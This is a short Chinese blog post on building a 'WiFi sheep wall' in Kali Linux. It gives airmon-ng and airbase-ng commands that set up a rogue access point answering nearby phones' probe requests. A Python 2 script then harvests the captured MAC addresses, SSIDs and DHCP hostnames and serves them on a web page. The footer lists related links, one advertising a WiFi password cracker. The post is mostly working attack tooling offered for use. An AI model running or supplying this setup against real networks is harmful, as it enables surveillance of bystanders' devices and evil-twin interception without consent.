Kali linux搭建wifi绵羊墙

复现了获取SSID,但手机连不上来获取主机名,可能是因为手机保存的热点是有密码的。

设置网卡

网卡支持的情况下,kali下直接运行

复制代码
ifconfig wlan0 up
airmon-ng check kill
airmon-ng start wlan0
airbase-ng -P -C 30 -v wlan0mon | tee nohup.out

网页显示,python2

show.py,注意修改nohup.out的路径

复制代码
import SimpleHTTPServer
import SocketServer
import threading
import os
import json
from time import sleep
class back(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def cmd(self,c):
        c=os.popen(c).read()
        return c
    def run(self):
        while True:
            cmd_=self.cmd("cat ./nohup.out |grep -|awk -F 'from ' '{print$2}'|sort |uniq ").replace('"','').split('\n')
            nohup=''
            x=0
            for i in cmd_:
                j='  "%d":"%s",' %(x,i) 

                nohup+= j
                x+=1

            nohup='{%s}'%nohup[:len(nohup)-1]
            cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep host|awk '{print$2}' ").replace('"','').split('\n')
            x=0
            dhcp=''
            for i in cmd_h:
                j='  "%d":"%s",' %(x,i)             
                dhcp+= j
                x+=1
            dhcp='{%s}'%dhcp[:len(dhcp)-1]
            open('Host.json','w').write(dhcp)
            open('Mac.json','w').write(nohup)
            print dhcp,nohup
            print "reading .."
            sleep(30)
back().start()

PORT = 8009
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()

最终效果

类似于:


参考:

https://www.freesion.com/article/68271084308/

相关推荐
私人珍藏库4 天前
WiFi密码B破器-密码查看器、可跑字典-免费无广
windows·wifi·工具
Smartlabs4 天前
五大智能锁PK:哪种最适合你家?
wifi·matter·z-wave
Smartlabs4 天前
Shelly智能模块:家居科技革新之选
物联网·wifi·智能家居
小叮当⇔12 天前
安信可(Ai-Thinker)WiFi系列模块全解析:选型指南与应用洞察
人工智能·物联网·wifi·乐鑫
普中科技16 天前
【普中Hi3861开发攻略--基于鸿蒙OS】-- 第 28 章 WIFI 实验-UDP 通信
单片机·嵌入式硬件·udp·wifi·liteos·hi3861·普中科技
普中科技21 天前
【普中Hi3861开发攻略--基于鸿蒙OS】-- 第 26 章 WIFI实验-AP 建立网络
单片机·嵌入式硬件·wifi·liteos·hi3861·普中科技
boss-dog1 个月前
WIFI 功能使用方法及性能评估(无线网卡)
wifi·网卡性能测试
谁刺我心1 个月前
Arduino开发ESP32连接手机热点【适合新手】
wifi·esp32连接手机热点
aitav01 个月前
⚡ WSL2 搭建 s5p6818 Linux 嵌入式开发平台 (part 3):Wifi驱动移植、ssh移植、e2fsprogs移植
linux·wifi·ssh·嵌入式·e2fsprogs
Einstenn1 个月前
f1c100s tina usb 接口 rtl8723du模组移植调试
驱动开发·wifi·rtl8723